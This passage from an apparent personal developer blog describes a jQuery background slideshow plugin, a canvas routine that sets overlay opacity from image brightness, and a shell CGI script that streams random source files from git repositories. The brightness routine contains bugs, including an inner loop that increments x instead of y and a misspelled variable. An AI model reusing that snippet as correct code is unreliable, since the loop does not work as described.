                        <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>needsTrigger <span style="color: #339933;">||</span> <span style="color: #339933;">!</span>changeCallback<span style="color: #009900;">&#41;</span>
                                <span style="color: #000066; font-weight: bold;">return</span> theFunction<span style="color: #339933;">;</span>
                        <span style="color: #000066; font-weight: bold;">return</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
                                changeCallback<span style="color: #009900;">&#40;</span>triggerImage<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                                theFunction.<span style="color: #660066;">apply</span><span style="color: #009900;">&#40;</span>triggerImage<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
                <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
&nbsp;
                <span style="color: #000066; font-weight: bold;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">var</span> i <span style="color: #339933;">=</span> <span style="color: #CC0000;">0</span><span style="color: #339933;">;</span> i <span style="color: #339933;">&lt;</span> images.<span style="color: #660066;">length</span><span style="color: #339933;">;</span> <span style="color: #339933;">++</span>i<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
                        <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>images<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span>.<span style="color: #660066;">src</span><span style="color: #009900;">&#41;</span>
                                <span style="color: #000066; font-weight: bold;">continue</span><span style="color: #339933;">;</span>
                        <span style="color: #003366; font-weight: bold;">var</span> image <span style="color: #339933;">=</span> document.<span style="color: #660066;">createElement</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;img&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        image.<span style="color: #660066;">hasCompleted</span> <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">false</span><span style="color: #339933;">;</span>
                        $<span style="color: #009900;">&#40;</span>image<span style="color: #009900;">&#41;</span>.<span style="color: #660066;">css</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;margin&quot;</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">&quot;0px&quot;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">css</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;position&quot;</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">&quot;absolute&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>i <span style="color: #339933;">&gt;</span> <span style="color: #CC0000;">0</span><span style="color: #009900;">&#41;</span>
                                $<span style="color: #009900;">&#40;</span>image<span style="color: #009900;">&#41;</span>.<span style="color: #660066;">hide</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>images<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span>.<span style="color: #660066;">width</span> <span style="color: #339933;">&amp;&amp;</span> images<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span>.<span style="color: #660066;">height</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
                                image.<span style="color: #660066;">ratio</span> <span style="color: #339933;">=</span> images<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span>.<span style="color: #660066;">width</span> <span style="color: #339933;">/</span> images<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span>.<span style="color: #660066;">height</span><span style="color: #339933;">;</span>
                                image.<span style="color: #000066;">onload</span> <span style="color: #339933;">=</span> functionWithTrigger<span style="color: #009900;">&#40;</span>imageLoad<span style="color: #339933;">,</span> i <span style="color: #339933;">==</span> <span style="color: #CC0000;">0</span><span style="color: #339933;">,</span> image<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        <span style="color: #009900;">&#125;</span> <span style="color: #000066; font-weight: bold;">else</span> <span style="color: #009900;">&#123;</span>
                                image.<span style="color: #660066;">ratio</span> <span style="color: #339933;">=</span> <span style="color: #CC0000;">0</span><span style="color: #339933;">;</span>
                                image.<span style="color: #000066;">onload</span> <span style="color: #339933;">=</span> functionWithTrigger<span style="color: #009900;">&#40;</span>imageLoadSetRatio<span style="color: #339933;">,</span> i <span style="color: #339933;">==</span> <span style="color: #CC0000;">0</span><span style="color: #339933;">,</span> image<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        <span style="color: #009900;">&#125;</span>
                        image.<span style="color: #660066;">src</span> <span style="color: #339933;">=</span> images<span style="color: #009900;">&#91;</span>i<span style="color: #009900;">&#93;</span>.<span style="color: #660066;">src</span><span style="color: #339933;">;</span>
                        <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>image.<span style="color: #660066;">ratio</span><span style="color: #009900;">&#41;</span>
                                sizeToRatio<span style="color: #009900;">&#40;</span>image<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        self.<span style="color: #660066;">append</span><span style="color: #009900;">&#40;</span>image<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                <span style="color: #009900;">&#125;</span>
&nbsp;
                $<span style="color: #009900;">&#40;</span>window<span style="color: #009900;">&#41;</span>.<span style="color: #660066;">resize</span><span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
                        self.<span style="color: #660066;">children</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;img&quot;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">each</span><span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span>index<span style="color: #339933;">,</span> image<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
                                sizeToRatio<span style="color: #009900;">&#40;</span>image<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        <span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                <span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
                <span style="color: #003366; font-weight: bold;">var</span> nextImage <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
                        <span style="color: #003366; font-weight: bold;">var</span> children <span style="color: #339933;">=</span> self.<span style="color: #660066;">children</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;img&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        <span style="color: #003366; font-weight: bold;">var</span> current <span style="color: #339933;">=</span> children<span style="color: #009900;">&#91;</span>self.<span style="color: #660066;">currentImage</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
                        <span style="color: #003366; font-weight: bold;">var</span> next<span style="color: #339933;">;</span>
                        <span style="color: #000066; font-weight: bold;">do</span> <span style="color: #009900;">&#123;</span>
                                <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">++</span>self.<span style="color: #660066;">currentImage</span> <span style="color: #339933;">&gt;=</span> children.<span style="color: #660066;">length</span><span style="color: #009900;">&#41;</span>
                                        self.<span style="color: #660066;">currentImage</span> <span style="color: #339933;">=</span> <span style="color: #CC0000;">0</span><span style="color: #339933;">;</span>
                                next <span style="color: #339933;">=</span> children<span style="color: #009900;">&#91;</span>self.<span style="color: #660066;">currentImage</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
                                <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>next <span style="color: #339933;">==</span> current<span style="color: #009900;">&#41;</span>
                                        <span style="color: #000066; font-weight: bold;">return</span><span style="color: #339933;">;</span>
                        <span style="color: #009900;">&#125;</span> <span style="color: #000066; font-weight: bold;">while</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>next.<span style="color: #660066;">hasCompleted</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>self.<span style="color: #660066;">currentImage</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
                                $<span style="color: #009900;">&#40;</span>next<span style="color: #009900;">&#41;</span>.<span style="color: #660066;">fadeIn</span><span style="color: #009900;">&#40;</span>options.<span style="color: #660066;">fadeTime</span><span style="color: #339933;">,</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
                                        $<span style="color: #009900;">&#40;</span>current<span style="color: #009900;">&#41;</span>.<span style="color: #660066;">hide</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                                        <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>changeCallback<span style="color: #009900;">&#41;</span>
                                                changeCallback<span style="color: #009900;">&#40;</span>next<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                                <span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        <span style="color: #009900;">&#125;</span> <span style="color: #000066; font-weight: bold;">else</span> <span style="color: #009900;">&#123;</span>
                                $<span style="color: #009900;">&#40;</span>next<span style="color: #009900;">&#41;</span>.<span style="color: #660066;">show</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                                $<span style="color: #009900;">&#40;</span>current<span style="color: #009900;">&#41;</span>.<span style="color: #660066;">fadeOut</span><span style="color: #009900;">&#40;</span>options.<span style="color: #660066;">fadeTime</span><span style="color: #339933;">,</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
                                        <span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span>changeCallback<span style="color: #009900;">&#41;</span>
                                                changeCallback<span style="color: #009900;">&#40;</span>next<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                                <span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                        <span style="color: #009900;">&#125;</span>
                <span style="color: #009900;">&#125;</span>
&nbsp;
                window.<span style="color: #660066;">setInterval</span><span style="color: #009900;">&#40;</span>nextImage<span style="color: #339933;">,</span> options.<span style="color: #660066;">imageTime</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
                <span style="color: #000066; font-weight: bold;">return</span> self<span style="color: #339933;">;</span>
        <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#40;</span>jQuery<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

</div>
<p>It preloads all the images, and it always resizes to 100% in either height or width, depending on which dimension is optimal, and then crops equally on both sides for the non-optimal dimension. To use it, I quite simply enter this:</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;">$<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;#background&quot;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">fadeShow</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#123;</span> shuffle<span style="color: #339933;">:</span> <span style="color: #003366; font-weight: bold;">true</span><span style="color: #339933;">,</span> imageTime<span style="color: #339933;">:</span> <span style="color: #CC0000;">10000</span><span style="color: #339933;">,</span> fadeTime<span style="color: #339933;">:</span> <span style="color: #CC0000;">2000</span> <span style="color: #009900;">&#125;</span><span style="color: #339933;">,</span> images<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>&#8211;where images is an array of objects, each of which has at least an src property and optionally width &#038; height properties.</p>
<p>One big issue, however, was that not all images had the same average background tone, so the white text was sometimes not visible enough in the black boxes&#8217; opacity level. I didn&#8217;t want to increase the opacity all the time, though, because for some backgrounds it looks nice to have a low opacity.</p>
<p>The solution was to draw the image inside of an <a href="http://en.wikipedia.org/wiki/Canvas_element" target="_blank" onclick="pageTracker._trackPageview('/outgoing/en.wikipedia.org/wiki/Canvas_element?referer=');">HTML5 canvas element</a>, not rendered to the document but only in memory in javascript, and then determine the average V value of the background image in <a href="http://en.wikipedia.org/wiki/HSL_and_HSV" target="_blank" onclick="pageTracker._trackPageview('/outgoing/en.wikipedia.org/wiki/HSL_and_HSV?referer=');">HSV colorspace</a> (which is simply the maximum RGB value), by averaging the pixel data accessible from the canvas object, and only those pixels which are directly underneath the primary text-box in the upper left corner. (The HSV idea actually came from reading the <a href="http://git.zx2c4.com/qt/tree/src/gui/kernel/qpalette.cpp#n705" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/qt/tree/src/gui/kernel/qpalette.cpp_n705?referer=');">QPalette</a> source code, which I discovered when investigating how it determined button text color based on button background color.) Once I had the average V value for that area, I reasoned that I should take V/255, to get a color percentage, and then take one-third of that, since it seems like one third gray is about the maximum viewable background color (and I remember hearing something about this from my 6th grade art teacher). Then once I had that percent, I made sure it wasn&#8217;t lower than 10%, since I still want some visible bubble. The resulting algorithm is as follows:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
</pre></td><td class="code"><pre class="javascript" style="font-family:monospace;">$<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;#background&quot;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">fadeShow</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#123;</span> shuffle<span style="color: #339933;">:</span> <span style="color: #003366; font-weight: bold;">true</span><span style="color: #339933;">,</span> imageTime<span style="color: #339933;">:</span> <span style="color: #CC0000;">10000</span><span style="color: #339933;">,</span> fadeTime<span style="color: #339933;">:</span> <span style="color: #CC0000;">2000</span> <span style="color: #009900;">&#125;</span><span style="color: #339933;">,</span> images<span style="color: #339933;">,</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span>image<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #003366; font-weight: bold;">var</span> canvas <span style="color: #339933;">=</span> document.<span style="color: #660066;">createElement</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;canvas&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>canvas.<span style="color: #660066;">getContext</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000066; font-weight: bold;">delete</span> canvas<span style="color: #339933;">;</span>
		<span style="color: #000066; font-weight: bold;">return</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
	canvas.<span style="color: #660066;">width</span> <span style="color: #339933;">=</span> $<span style="color: #009900;">&#40;</span>image<span style="color: #009900;">&#41;</span>.<span style="color: #660066;">parent</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">width</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	canvas.<span style="color: #660066;">height</span> <span style="color: #339933;">=</span> $<span style="color: #009900;">&#40;</span>image<span style="color: #009900;">&#41;</span>.<span style="color: #660066;">parent</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">height</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #003366; font-weight: bold;">var</span> context <span style="color: #339933;">=</span> canvas.<span style="color: #660066;">getContext</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;2d&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #003366; font-weight: bold;">var</span> top <span style="color: #339933;">=</span> <span style="color: #339933;">-</span>$<span style="color: #009900;">&#40;</span>image<span style="color: #009900;">&#41;</span>.<span style="color: #660066;">offset</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">top</span> <span style="color: #339933;">*</span> image.<span style="color: #660066;">naturalWidth</span> <span style="color: #339933;">/</span> image.<span style="color: #660066;">width</span><span style="color: #339933;">;</span>
	<span style="color: #003366; font-weight: bold;">var</span> left <span style="color: #339933;">=</span> <span style="color: #339933;">-</span>$<span style="color: #009900;">&#40;</span>image<span style="color: #009900;">&#41;</span>.<span style="color: #660066;">offset</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">left</span> <span style="color: #339933;">*</span> image.<span style="color: #660066;">naturalHeight</span> <span style="color: #339933;">/</span> image.<span style="color: #660066;">height</span><span style="color: #339933;">;</span>
	<span style="color: #003366; font-weight: bold;">var</span> width <span style="color: #339933;">=</span> $<span style="color: #009900;">&#40;</span>image<span style="color: #009900;">&#41;</span>.<span style="color: #660066;">parent</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">width</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">*</span> image.<span style="color: #660066;">naturalWidth</span> <span style="color: #339933;">/</span> image.<span style="color: #660066;">width</span><span style="color: #339933;">;</span>
	<span style="color: #003366; font-weight: bold;">var</span> height <span style="color: #339933;">=</span> $<span style="color: #009900;">&#40;</span>image<span style="color: #009900;">&#41;</span>.<span style="color: #660066;">parent</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">height</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">*</span> image.<span style="color: #660066;">naturalHeight</span> <span style="color: #339933;">/</span> image.<span style="color: #660066;">height</span><span style="color: #339933;">;</span>
	<span style="color: #000066; font-weight: bold;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>width <span style="color: #339933;">||</span> <span style="color: #339933;">!</span>height<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000066; font-weight: bold;">delete</span> canavs<span style="color: #339933;">;</span>
		<span style="color: #000066; font-weight: bold;">return</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
	context.<span style="color: #660066;">drawImage</span><span style="color: #009900;">&#40;</span>image<span style="color: #339933;">,</span> left<span style="color: #339933;">,</span> top<span style="color: #339933;">,</span> width<span style="color: #339933;">,</span> height<span style="color: #339933;">,</span> <span style="color: #CC0000;">0</span><span style="color: #339933;">,</span> <span style="color: #CC0000;">0</span><span style="color: #339933;">,</span> canvas.<span style="color: #660066;">width</span><span style="color: #339933;">,</span> canvas.<span style="color: #660066;">height</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #003366; font-weight: bold;">var</span> imageData <span style="color: #339933;">=</span> context.<span style="color: #660066;">getImageData</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">0</span><span style="color: #339933;">,</span> <span style="color: #CC0000;">0</span><span style="color: #339933;">,</span> canvas.<span style="color: #660066;">width</span><span style="color: #339933;">,</span> canvas.<span style="color: #660066;">height</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #003366; font-weight: bold;">var</span> <span style="color: #000066;">name</span> <span style="color: #339933;">=</span> $<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;#name&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #003366; font-weight: bold;">var</span> maxSum <span style="color: #339933;">=</span> <span style="color: #CC0000;">0</span><span style="color: #339933;">;</span>
	<span style="color: #003366; font-weight: bold;">var</span> maxes <span style="color: #339933;">=</span> <span style="color: #CC0000;">0</span><span style="color: #339933;">;</span>
	<span style="color: #000066; font-weight: bold;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">var</span> x <span style="color: #339933;">=</span> <span style="color: #000066;">name</span>.<span style="color: #660066;">offset</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">left</span><span style="color: #339933;">;</span> x <span style="color: #339933;">&lt;</span> <span style="color: #009900;">&#40;</span><span style="color: #000066;">name</span>.<span style="color: #660066;">offset</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">left</span> <span style="color: #339933;">+</span> <span style="color: #000066;">name</span>.<span style="color: #660066;">width</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #339933;">++</span>x<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000066; font-weight: bold;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">var</span> y <span style="color: #339933;">=</span> <span style="color: #000066;">name</span>.<span style="color: #660066;">offset</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">top</span><span style="color: #339933;">;</span> x <span style="color: #339933;">&lt;</span> <span style="color: #009900;">&#40;</span><span style="color: #000066;">name</span>.<span style="color: #660066;">offset</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">top</span> <span style="color: #339933;">+</span> <span style="color: #000066;">name</span>.<span style="color: #660066;">height</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #339933;">++</span>x<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			<span style="color: #003366; font-weight: bold;">var</span> index <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>y <span style="color: #339933;">*</span> <span style="color: #009900;">&#40;</span>imageData.<span style="color: #660066;">width</span> <span style="color: #339933;">*</span> <span style="color: #CC0000;">4</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #009900;">&#40;</span>x <span style="color: #339933;">*</span> <span style="color: #CC0000;">4</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			maxSum <span style="color: #339933;">+=</span> Math.<span style="color: #660066;">max</span><span style="color: #009900;">&#40;</span>imageData.<span style="color: #660066;">data</span><span style="color: #009900;">&#91;</span>index<span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> imageData.<span style="color: #660066;">data</span><span style="color: #009900;">&#91;</span>index <span style="color: #339933;">+</span> <span style="color: #CC0000;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> imageData.<span style="color: #660066;">data</span><span style="color: #009900;">&#91;</span>index <span style="color: #339933;">+</span> <span style="color: #CC0000;">2</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
			<span style="color: #339933;">++</span>maxes<span style="color: #339933;">;</span>
		<span style="color: #009900;">&#125;</span>
	<span style="color: #009900;">&#125;</span>
	$<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;.transparentbox&quot;</span><span style="color: #009900;">&#41;</span>.<span style="color: #660066;">fadeTo</span><span style="color: #009900;">&#40;</span><span style="color: #CC0000;">800</span><span style="color: #339933;">,</span> Math.<span style="color: #660066;">max</span><span style="color: #009900;">&#40;</span>.1<span style="color: #339933;">,</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>maxSum <span style="color: #009966; font-style: italic;">/ maxes) /</span> <span style="color: #CC0000;">255</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">/</span> <span style="color: #CC0000;">3</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000066; font-weight: bold;">delete</span> canvas<span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>I have it nicely fade between opacities. If you watch <a href="http://www.jasondonenfeld.com" onclick="pageTracker._trackPageview('/outgoing/www.jasondonenfeld.com?referer=');">jasondonenfeld.com</a> closely enough, you&#8217;ll notice it, though it&#8217;s quite subtle.</p>
<p>The other layout issue is that I don&#8217;t really like document-level scrollbars very much. Instead, I opted to make the page never scroll, but just to hide the auxiliary boxes when the document becomes too small. But in order to inform the user that there is data to be shown, I show one or two arrows, depending on the dimensions. The code to do so is trivial, and the end result looks like this:<br />
<a href="http://www.jasondonenfeld.com" onclick="pageTracker._trackPageview('/outgoing/www.jasondonenfeld.com?referer=');"><img src="http://blog.zx2c4.com/wp-content/uploads/2010/10/jasondonenfelddotcomsmall.png" alt="" title="When JasonDonenfeld.com is small." width="500" height="351" class="aligncenter size-full wp-image-374" /></a></p>
<p>Over on the <a href="http://www.zx2c4.com" onclick="pageTracker._trackPageview('/outgoing/www.zx2c4.com?referer=');">zx2c4.com</a> end, several cool things are going on as well. I pull the latest blog posts using the <a href="http://wordpress.org/extend/plugins/json-api/" target="_blank" onclick="pageTracker._trackPageview('/outgoing/wordpress.org/extend/plugins/json-api/?referer=');">JSON wordpress plugin</a> using <a href="http://en.wikipedia.org/wiki/JSON#JSONP" target="_blank" onclick="pageTracker._trackPageview('/outgoing/en.wikipedia.org/wiki/JSON_JSONP?referer=');">JSONP</a>. Dates are nicely made fuzzy using the <a href="http://timeago.yarp.com/" onclick="pageTracker._trackPageview('/outgoing/timeago.yarp.com/?referer=');">timeago plugin</a> for jQuery. I also display a list of projects sorted by last-updated from my <a href="http://git.zx2c4.com" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com?referer=');">git repository</a>. Then, to add the final touches, I show a super fast moving stream of random source code from a random project in my git repository, streaming continuously and randomly.</p>
<p><a href="http://www.zx2c4.com" onclick="pageTracker._trackPageview('/outgoing/www.zx2c4.com?referer=');"><img src="http://blog.zx2c4.com/wp-content/uploads/2010/10/zx2c4dotcom.png" alt="" title="The New ZX2C4.COM" width="800" height="486" class="aligncenter size-full wp-image-376" /></a></p>
<p>The background is not photoshopped at all. I took it with a cheap point-and-shoot digital camera when I was fourteen while sitting in the back of a fogged up car during winter at a gas station and shaking around the camera. I&#8217;m not sure how much I like the whole green matrix hacker aesthetic of the site, but maybe that&#8217;s what I ought to do.</p>
<p>On the server side, to get the source code from the git repositories (which are managed by gitolite, as mentioned in several other posts), I employ this very simple shell script:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
</pre></td><td class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#!/bin/sh</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;Content-Type: text/plain&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">for</span> i <span style="color: #000000; font-weight: bold;">in</span> <span style="color: #7a0874; font-weight: bold;">&#123;</span><span style="color: #000000;">1</span>..<span style="color: #000000;">10</span><span style="color: #7a0874; font-weight: bold;">&#125;</span>; <span style="color: #000000; font-weight: bold;">do</span>
<span style="color: #007800;">project</span>=<span style="color: #ff0000;">&quot;/home/gitcode/repositories/<span style="color: #007800;">$(shuf -n 1 /home/gitcode/projects.list)</span>&quot;</span>
<span style="color: #007800;">hash</span>=$<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">git</span> <span style="color: #660033;">--git-dir</span>=<span style="color: #ff0000;">&quot;<span style="color: #007800;">$project</span>&quot;</span> ls-tree <span style="color: #660033;">-r</span> HEAD <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">egrep</span> <span style="color: #660033;">-i</span> <span style="color: #ff0000;">'.*\.(c|h|cpp|hpp|cc|hh|js|py|rb|sh|cgi|bash|txt|php|htm|html|shtml|java|pro|pri|nsi|bat|vbs|asp|cs|hs|sln|xml|xhtml|csproj|rst)$'</span> <span style="color: #000000; font-weight: bold;">|</span> shuf <span style="color: #660033;">-n</span> <span style="color: #000000;">1</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">cut</span> <span style="color: #660033;">-f</span> <span style="color: #000000;">1</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">cut</span> <span style="color: #660033;">-d</span> <span style="color: #ff0000;">' '</span> <span style="color: #660033;">-f</span> <span style="color: #000000;">3</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #000000;">2</span><span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>null<span style="color: #7a0874; font-weight: bold;">&#41;</span>
